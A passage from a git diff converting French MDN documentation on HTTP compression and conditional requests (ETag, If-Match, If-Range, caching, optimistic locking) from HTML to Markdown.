du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : <code>gzip</code>, le plus utilisé et <code>br</code> le nouveau venu.</p> +L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : `gzip`, le plus utilisé et `br` le nouveau venu. -<p>Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur <a href="/fr/docs/Web/HTTP/Content_negotiation"> la négociation du contenu</a>. Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource.</p> +Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur [la négociation du contenu](/fr/docs/Web/HTTP/Content_negotiation). Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource. -<p><img alt="Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés" src="httpcompression1.png"></p> +![Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés](httpcompression1.png) -<p>La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé.</p> +La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé. -<p>Apache prend en charge la compression et utilise <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>; nginx dispose de <a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a>; pour IIS, il existe l'élément <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression"><httpCompression></a></code>.</p> +Apache prend en charge la compression et utilise [mod_deflate](http://httpd.apache.org/docs/current/mod/mod_deflate.html); nginx dispose de [ngx_http_gzip_module](http://nginx.org/en/docs/http/ngx_http_gzip_module.html); pour IIS, il existe l'élément [`<httpCompression>`](https://www.iis.net/configreference/system.webserver/httpcompression). -<h2 id="Compression_saut_par_saut">Compression saut par saut</h2> +## Compression saut par saut -<p>La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression <em>différent</em>.</p> +La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression _différent_. -<p><img alt="Compression saut par saut entre le serveur et le client" src="httpte1.png"></p> +![Compression saut par saut entre le serveur et le client](httpte1.png) -<p>HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}.</p> +HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}. -<p><img alt="Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut" src="httpcomp2.png"></p> +![Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut](httpcomp2.png) -<p>En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille.</p> +En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille. -<p>Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy.</p> +Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy. diff --git a/files/fr/web/http/conditional_requests/index.md b/files/fr/web/http/conditional_requests/index.md index 4590846e91..eff6470709 100644 --- a/files/fr/web/http/conditional_requests/index.md +++ b/files/fr/web/http/conditional_requests/index.md @@ -8,140 +8,132 @@ tags: translation_of: Web/HTTP/Conditional_requests original_slug: Web/HTTP/Requêtes_conditionnelles --- -<p>{{HTTPSidebar}}</p> +{{HTTPSidebar}} -<p>Il existe en HTTP un concept de <em>requête conditionnelle</em> où le résultat, et même le succès d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un <em>validateur</em>. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et éviter un contrôle inutile, pour vérifier l'intégrité d'un document, par exemple pour la reprise d'un téléchargement ou pour éviter de perdre des mises à jour quand on uploade ou modifie un document sur le serveur.</p> +Il existe en HTTP un concept de _requête conditionnelle_ où le résultat, et même le succès d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un _validateur_. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et éviter un contrôle inutile, pour vérifier l'intégrité d'un document, par exemple pour la reprise d'un téléchargement ou pour éviter de perdre des mises à jour quand on uploade ou modifie un document sur le serveur. -<h2 id="principles">Principes</h2> +## Principes -<p>Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique d'en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.</p> +Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique d'en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non. -<p>Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :</p> +Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions : -<ul> - <li>Pour une méthode <a href="/fr/docs/Glossary/safe">safe</a> comme <a href="/fr/docs/Web/HTTP/Methods/GET"><code>GET</code></a>, qui est généralement utilisée pour récupérer un document, la requête conditionnelle peut être utilisée afin de renvoyer le document uniquement si c'est pertinent. Cela économise de la bande passante.</li> - <li>Pour les méthodes <a href="/fr/docs/Glossary/safe">unsafe</a> comme <a href="/fr/docs/Web/HTTP/Methods/PUT"><code>PUT</code></a>, qui permet généralement d'uploader un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur.</li> -</ul> +- Pour une méthode [safe](/fr/docs/Glossary/safe) comme [`GET`](/fr/docs/Web/HTTP/Methods/GET), qui est généralement utilisée pour récupérer un document, la requête conditionnelle peut être utilisée afin de renvoyer le document uniquement si c'est pertinent. Cela économise de la bande passante. +- Pour les méthodes [unsafe](/fr/docs/Glossary/safe) comme [`PUT`](/fr/docs/Web/HTTP/Methods/PUT), qui permet généralement d'uploader un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur. -<h2 id="validators">Validateurs</h2> +## Validateurs -<p>Tous les en-têtes conditionnels vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource. En effet, comparer l'ensemble octet par octet n'est pas faisable en pratique et ce n'est pas toujours le comportement désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il en existe deux sortes :</p> +Tous les en-têtes conditionnels vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource. En effet, comparer l'ensemble octet par octet n'est pas faisable en pratique et ce n'est pas toujours le comportement désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il en existe deux sortes : -<ul> - <li>La date de dernière modification du document fournie par <em><code>Last-Modified</code></em>.</li> - <li>Une chaîne de caractères sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag", fournie par <em><code>ETag</code></em>.</li> -</ul> +- La date de dernière modification du document fournie par _`Last-Modified`_. +- Une chaîne de caractères sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag", fournie par _`ETag`_. -<p>Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il existe deux sortes de vérification d'équivalence :</p> +Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il existe deux sortes de vérification d'équivalence : -<ul> - <li><em>Une validation forte</em>, utilisée quand une vérification à l'octet près est demandée, par exemple pour reprendre un téléchargement.</li> - <li><em>Une validation faible</em>, utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page avec une date différente.</li> -</ul> +- _Une validation forte_, utilisée quand une vérification à l'octet près est demandée, par exemple pour reprendre un téléchargement. +- _Une validation faible_, utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page avec une date différente. -<p>La sorte de la vérification est indépendante du validateur utilisé. <a href="/fr/docs/Web/HTTP/Headers/Last-Modified"><code>Last-Modified</code></a> et <a href="/fr/docs/Web/HTTP/Headers/ETag"><code>ETag</code></a> permettent les deux types de validation bien que la complexité d'implémentation côté serveur soit variable. HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.</p> +La sorte de la vérification est indépendante du validateur utilisé. [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) et [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) permettent les deux types de validation bien que la complexité d'implémentation côté serveur soit variable. HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée. -<h3 id="strong_validation">Validation forte</h3> +### Validation forte -<p>La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, à l'octet près. Cette validation est obligatoire pour certains en-têtes et correspond au comportement par défaut pour d'autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdue, parfois au détriment de la performance.</p> +La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, à l'octet près. Cette validation est obligatoire pour certains en-têtes et correspond au comportement par défaut pour d'autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdue, parfois au détriment de la performance. -<p>Il est assez difficile d'avoir un identifiant unique pour la validation forte avec <a href="/fr/docs/Web/HTTP/Headers/Last-Modified"><code>Last-Modified</code></a>. On le fait souvent en employant une <a href="/fr/docs/Web/HTTP/Headers/ETag"><code>ETag</code></a> avec le hachage MD5 de la ressource (ou un dérivé).</p> +Il est assez difficile d'avoir un identifiant unique pour la validation forte avec [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified). On le fait souvent en employant une [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) avec le hachage MD5 de la ressource (ou un dérivé). -<h3 id="weak_validation">Validation faible</h3> +### Validation faible -<p>La validation faible diffère de la validation forte, car elle considère que deux versions du document sont identiques si le contenu est équivalent. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions pourraient être considérées comme différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est très utile dans le but d'optimiser les performances du cache.</p> +La validation faible diffère de la validation forte, car elle considère que deux versions du document sont identiques si le contenu est équivalent. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions pourraient être considérées comme différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est très utile dans le but d'optimiser les performances du cache. -<h2 id="conditional_headers">En-têtes conditionnels</h2> +## En-têtes conditionnels -<p>Plusieurs en-têtes HTTP, appelées en-têtes conditionels, permettent de conditionner les requêtes :</p> +Plusieurs en-têtes HTTP, appelées en-têtes conditionels, permettent de conditionner les requêtes : -<dl> - <dt><a href="/fr/docs/Web/HTTP/Headers/If-Match"><code>If-Match</code></a></dt> - <dd>Réussit si la <a href="/fr/docs/Web/HTTP/Headers/ETag"><code>ETag</code></a> de la ressource distante est égal à un de ceux listés dans cet en-tête. Par défaut, à moins que l'ETag soit préfixé par <code>'W/'</code>, c'est une validation forte.</dd> - <dt><a href="/fr/docs/Web/HTTP/Headers/If-None-Match"><code>If-None-Match</code></a></dt> - <dd>Réussit si la <a href="/fr/docs/Web/HTTP/Headers/ETag"><code>ETag</code></a> de la ressource distante est différent de tout ceux listés dans l'en-tête. Par défaut, à moins que l'ETag soit préfixé par <code>'W/'</code>, c'est une validation forte.</dd> - <dt><a href="/fr/docs/Web/HTTP/Headers/If-Modified-Since"><code>If-Modified-Since</code></a></dt> - <dd>Réussit si la date <a href="/fr/docs/Web/HTTP/Headers/Last-Modified"><code>Last-Modified</code></a> de la ressource distante est plus récente que celle donnée dans l'en-tête.</dd> - <dt><a href="/fr/docs/Web/HTTP/Headers/If-Unmodified-Since"><code>If-Unmodified-Since</code></a></dt> - <dd>Réussit si la date <a href="/fr/docs/Web/HTTP/Headers/Last-Modified"><code>Last-Modified</code></a> de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.</dd> - <dt><a href="/fr/docs/Web/HTTP/Headers/If-Range"><code>If-Range</code></a></dt> - <dd>Similaire à <a href="/fr/docs/Web/HTTP/Headers/If-Match"><code>If-Match</code></a>, ou <a href="/fr/docs/Web/HTTP/Headers/If-Unmodified-Since"><code>If-Unmodified-Since</code></a>, mais peut n'avoir qu'un seul ETag, ou une date. Si ça ne correspond pas, la requête est rejetée et à la place d'un statut de réponse <a href="/fr/docs/Web/HTTP/Status/206"><code>206</code></a> <code>Partial Content</code>, un <a href="/fr/docs/Web/HTTP/Status/200"><code>200</code></a> <code>OK</code> est envoyé avec la totalité de la ressource.</dd> -</dl> +- [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match) + - : Réussit si la [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) de la ressource distante est égal à un de ceux listés dans cet en-tête. Par défaut, à moins que l'ETag soit préfixé par `'W/'`, c'est une validation forte. +- [`If-None-Match`](/fr/docs/Web/HTTP/Headers/If-None-Match) + - : Réussit si la [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) de la ressource distante est différent de tout ceux listés dans l'en-tête. Par défaut, à moins que l'ETag soit préfixé par `'W/'`, c'est une validation forte. +- [`If-Modified-Since`](/fr/docs/Web/HTTP/Headers/If-Modified-Since) + - : Réussit si la date [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) de la ressource distante est plus récente que celle donnée dans l'en-tête. +- [`If-Unmodified-Since`](/fr/docs/Web/HTTP/Headers/If-Unmodified-Since) + - : Réussit si la date [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête. +- [`If-Range`](/fr/docs/Web/HTTP/Headers/If-Range) + - : Similaire à [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match), ou [`If-Unmodified-Since`](/fr/docs/Web/HTTP/Headers/If-Unmodified-Since), mais peut n'avoir qu'un seul ETag, ou une date. Si ça ne correspond pas, la requête est rejetée et à la place d'un statut de réponse [`206`](/fr/docs/Web/HTTP/Status/206) `Partial Content`, un [`200`](/fr/docs/Web/HTTP/Status/200) `OK` est envoyé avec la totalité de la ressource. -<h2 id="use_cases">Cas d'utilisation</h2> +## Cas d'utilisation -<h3 id="cache_update">Mise à jour du cache</h3> +### Mise à jour du cache -<p>Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du'uncache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut <a href="/fr/docs/Web/HTTP/Status/200"><code>200</code></a> <code>OK</code>.</p> +Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du'uncache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut [`200`](/fr/docs/Web/HTTP/Status/200) `OK`. -<p><img alt="La requête émise lorsque le cache est vide déclenche le téléchargement de la ressource et les deux valeurs de validation son prevent itt envoyés en en-tête. Le cache est alors rempli." src="cache1.png"></p> +![La requête émise lorsque le cache est vide déclenche le téléchargement de la ressource et les deux valeurs de validation son prevent itt envoyés en en-tête. Le cache est alors rempli.](cache1.png) -<p>Avec la ressource, les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs <a href="/fr/docs/Web/HTTP/Headers/Last-Modified"><code>Last-Modified</code></a> et <a href="/fr/docs/Web/HTTP/Headers/ETag"><code>ETag</code></a> sont envoyés, mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.</p> +Avec la ressource, les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) et [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) sont envoyés, mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé. -<p>Tant que le cache n'est pas obsolète, aucune requête n'est émise. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête <a href="/fr/docs/Web/HTTP/Headers/Cache-Control"><code>Cache-Control</code></a>, le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes <a href="/fr/docs/Web/HTTP/Headers/If-Modified-Since"><code>If-Modified-Since</code></a> et <a href="/fr/docs/Web/HTTP/Headers/If-Match"><code>If-Match</code></a>.</p> +Tant que le cache n'est pas obsolète, aucune requête n'est émise. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête [`Cache-Control`](/fr/docs/Web/HTTP/Headers/Cache-Control), le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes [`If-Modified-Since`](/fr/docs/Web/HTTP/Headers/If-Modified-Since) et [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match). -<p>Si la ressource n'a pas changé, le serveur renvoie une réponse <a href="/fr/docs/Web/HTTP/Status/304"><code>304</code></a> <code>Not Modified</code>. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.</p> +Si la ressource n'a pas changé, le serveur renvoie une réponse [`304`](/fr/docs/Web/HTTP/Status/304) `Not Modified`. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau. -<p><img alt="Avec un cache périmé, la requête conditionnelle est envoyée. Le serveur peut déterminer si une ressource a changé et, dans ce cas, décider de ne pas la renvoyer si c'est la même." src="httpcache2.png"></p> +![Avec un cache périmé, la requête conditionnelle est envoyée. Le serveur peut déterminer si une ressource a changé et, dans ce cas, décider de ne pas la renvoyer si c'est la même.](httpcache2.png) -<p>Si la ressource a changé, le serveur renvoie simplement une réponse <a href="/fr/docs/Web/HTTP/Status/200"><code>200</code></a><code> OK</code> avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.</p> +Si la ressource a changé, le serveur renvoie simplement une réponse [`200`](/fr/docs/Web/HTTP/Status/200)` OK` avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache. -<p><img alt="Dans le cas où la ressource a changé, elle est renvoyée, comme si la requête n'était pas conditionnelle." src="httpcache3.png"></p> +![Dans le cas où la ressource a changé, elle est renvoyée, comme si la requête n'était pas conditionnelle.](httpcache3.png) -<p>De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.</p> +De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur. -<h3 id="integrity_of_a_partial_download">Intégrité d'un téléchargement partiel</h3> +### Intégrité d'un téléchargement partiel -<p>Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :</p> +Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues : -<p><img alt="Un téléchargement a été stoppé et seule une partie du contenu a été récupérée." src="httpresume1.png"></p> +![Un téléchargement a été stoppé et seule une partie du contenu a été récupérée.](httpresume1.png) -<p>Un serveur qui supporte le téléchargement partiel le diffuse en envoyant un en-tête <a href="/fr/docs/Web/HTTP/Headers/Accept-Ranges"><code>Accept-Ranges</code></a>. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant un en-tête de requête <a href="/fr/docs/Web/HTTP/Headers/Ranges"><code>Ranges</code></a> avec les données manquantes :</p> +Un serveur qui supporte le téléchargement partiel le diffuse en envoyant un en-tête [`Accept-Ranges`](/fr/docs/Web/HTTP/Headers/Accept-Ranges). Quand il la reçoit, le client peut reprendre le téléchargement en envoyant un en-tête de requête [`Ranges`](/fr/docs/Web/HTTP/Headers/Ranges) avec les données manquantes : -<p><img alt="Le client reprend la requête en indiquant l'intervalle dont il a besoin et les préconditions en vérifiant les validateurs de la requêtes obtenues partiellement." src="httpresume2.png"></p> +![Le client reprend la requête en indiquant l'intervalle dont il a besoin et les préconditions en vérifiant les validateurs de la requêtes obtenues partiellement.](httpresume2.png) -<p>Le principe est simple, mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées. Il y a deux manières de faire : la plus flexible utilise <a href="/fr/docs/Web/HTTP/Headers/If-Modified-Since"><code>If-Modified-Since</code></a> et de <a href="/fr/docs/Web/HTTP/Headers/If-Match"><code>If-Match</code></a>, le serveur retourne alors une erreur si la pré-condition n'est pas satisfaite et le client reprend le téléchargement depuis le début :</p> +Le principe est simple, mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées. Il y a deux manières de faire : la plus flexible utilise [`If-Modified-Since`](/fr/docs/Web/HTTP/Headers/If-Modified-Since) et de [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match), le serveur retourne alors une erreur si la pré-condition n'est pas satisfaite et le client reprend le téléchargement depuis le début : -<p><img alt="Lorsque la ressource partiellement téléchargée a été modifiée, les préconditions échoueront et la ressource devra à nouveau être téléchargée entièrement." src="httpresume3.png"></p> +![Lorsque la ressource partiellement téléchargée a été modifiée, les préconditions échoueront et la ressource devra à nouveau être téléchargée entièrement.](httpresume3.png) -<p>Même si cette méthode fonctionne, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu un en-tête spécifique pour éviter ce scénario : <a href="/fr/docs/Web/HTTP/Headers/If-Range"><code>If-Range</code></a>:</p> +Même si cette méthode fonctionne, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu un en-tête spécifique pour éviter ce scénario : [`If-Range`](/fr/docs/Web/HTTP/Headers/If-Range): -<p><img alt="Les en-têtes If-Range permettent au serveur de renvoyer directement la ressource complète si elle a été modifiée. Il n'est pas nécessaire d'envoyer une erreur 412 au client et d'attendre que ce dernier relance le téléchargement." src="httpresume4.png"></p> +![Les en-têtes If-Range permettent au serveur de renvoyer directement la ressource complète si elle a été modifiée. Il n'est pas nécessaire d'envoyer une erreur 412 au client et d'attendre que ce dernier relance le téléchargement.](httpresume4.png) -<p>Cette solution est plus efficace mais légèrement moins flexible puisqu'un seul ETag peut être utilisé dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.</p> +Cette solution est plus efficace mais légèrement moins flexible puisqu'un seul ETag peut être utilisé dans la condition. On a rarement besoin d'une telle flexibilité additionnelle. -<h3 id="avoiding_the_lost_update_problem_with_optimistic_locking">Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"</h3> +### Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste" -<p>Une opération commune des applications web est la mise à jour de documents distants. Cela arrive fréquemment dans tout système de fichiers ou dans les applications de contrôle de source. Toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.</p> +Une opération commune des applications web est la mise à jour de documents distants. Cela arrive fréquemment dans tout système de fichiers ou dans les applications de contrôle de source. Toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement. -<p>Vous pouvez l'implémenter avec la méthode <a href="/fr/docs/Web/HTTP/Methods/PUT"><code>PUT</code></a>. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.</p> +Vous pouvez l'implémenter avec la méthode [`PUT`](/fr/docs/Web/HTTP/Methods/PUT). Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur. -<p><img alt="Mettre à jour un fichier avec PUT est assez simple tant qu'il n'y a pas de concurrence." src="httplock1.png"></p> +![Mettre à jour un fichier avec PUT est assez simple tant qu'il n'y a pas de concurrence.](httplock1.png) -<p>Cependant, les choses deviennent un peu moins précises dès que l'on parle de simultanéité des connexions. Pendant qu'un client est en train de modifier localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une situation de compétition (<a href="/fr/docs/Glossary/race condition"><i>race condition</i></a>) qui conduit à des comportements problématiques difficiles à cerner et à déboguer.</p> +Cependant, les choses deviennent un peu moins précises dès que l'on parle de simultanéité des connexions. Pendant qu'un client est en train de modifier localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une situation de compétition ([_race condition_](</fr/docs/Glossary/race condition>)) qui conduit à des comportements problématiques difficiles à cerner et à déboguer. -<p><img alt="Lorsque plusieurs clients mettent à jour la même ressource en parallèle, on a une situation de compétition (race condition) : c'est le plus lent qui gagne et les autres ne savent pas qu'ils ont perdu…" src="httplock2.png"></p> +![Lorsque plusieurs clients mettent à jour la même ressource en parallèle, on a une situation de compétition (race condition) : c'est le plus lent qui gagne et les autres ne savent pas qu'ils ont perdu…](httplock2.png) -<p>Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre des deux clients. Toutefois, cela permet d'éviter les mises à jour perdues ou les situations de compétition. On souhaite avoir des résultats prévisibles et s'assurer que les clients soient prévenus lorsque leurs modifications sont rejetées.</p> +Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre des deux clients. Toutefois, cela permet d'éviter les mises à jour perdues ou les situations de compétition. On souhaite avoir des résultats prévisibles et s'assurer que les clients soient prévenus lorsque leurs modifications sont rejetées. -<p>Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence 